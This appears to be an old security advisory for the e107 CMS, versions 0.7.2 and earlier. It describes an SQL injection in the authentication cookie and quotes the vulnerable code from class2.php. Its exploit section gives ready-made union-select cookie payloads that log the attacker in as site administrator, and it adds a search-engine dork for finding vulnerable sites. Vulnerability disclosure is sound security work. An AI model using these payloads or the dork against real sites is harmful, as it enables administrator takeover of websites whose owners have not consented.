Software: e107 (CMS)=0D
=0D
Versions: <= 0.7.2=0D
=0D
Type:	SQL-injection=0D
	=0D
Homepage:	www.e107.org=0D 
=0D
=0D
=0D
Description:=0D
=0D
----------------------------=0D
=0D
SQL-Injection in e107 allows attacker to become a site admininstrator.=0D
=0D
=0D
Requirements:=0D
=0D
----------------------------=0D
=0D
Magic_quotes_gpc = Off=0D
=0D
=0D
Vulnerability:=0D
=0D
----------------------------=0D
=0D
Vulnerability has been found in processing the COOKIE.=0D
COOKIE use for authentification users and administrator.=0D
Data transfered to this parameter not are filtered.=0D
=0D
Code:=0D
=0D
----------------------------=0D
=0D
class2.php=0D
.....=0D
>       list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".",                   >  $_COOKIE[$pref['cookie_name']]) : explode(".", $_SESSION[$pref['cookie_name']]));=0D
.....=0D
=0D
>       if($result = get_user_data($uid, "AND md5(u.user_password)='{$upw}'", FALSE)) {=0D
.....=0D
=0D
=0D
=0D
Exploit:=0D
0.6.xxx=0D
=0D
1.blabla_hash_password' union select * from e107_user where user_id=1/*=0D
=0D
=0D
0.7.X=0D
=0D
1.blabla_hash_password' union select 1,'admin_d','admin',4,5,6,'some_user@some_hostcom',8,9,10,11,12,'1139995361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,32,33 /*=0D
=0D
Additional Information:=0D
=0D
-----------------------=0D
=0D
Google dorks: "Powered by e107"=0D
=0D
=0D
Vendor Status=0D
=0D
-------------=0D
=0D
The vendor is informed!=0D
=0D
=0D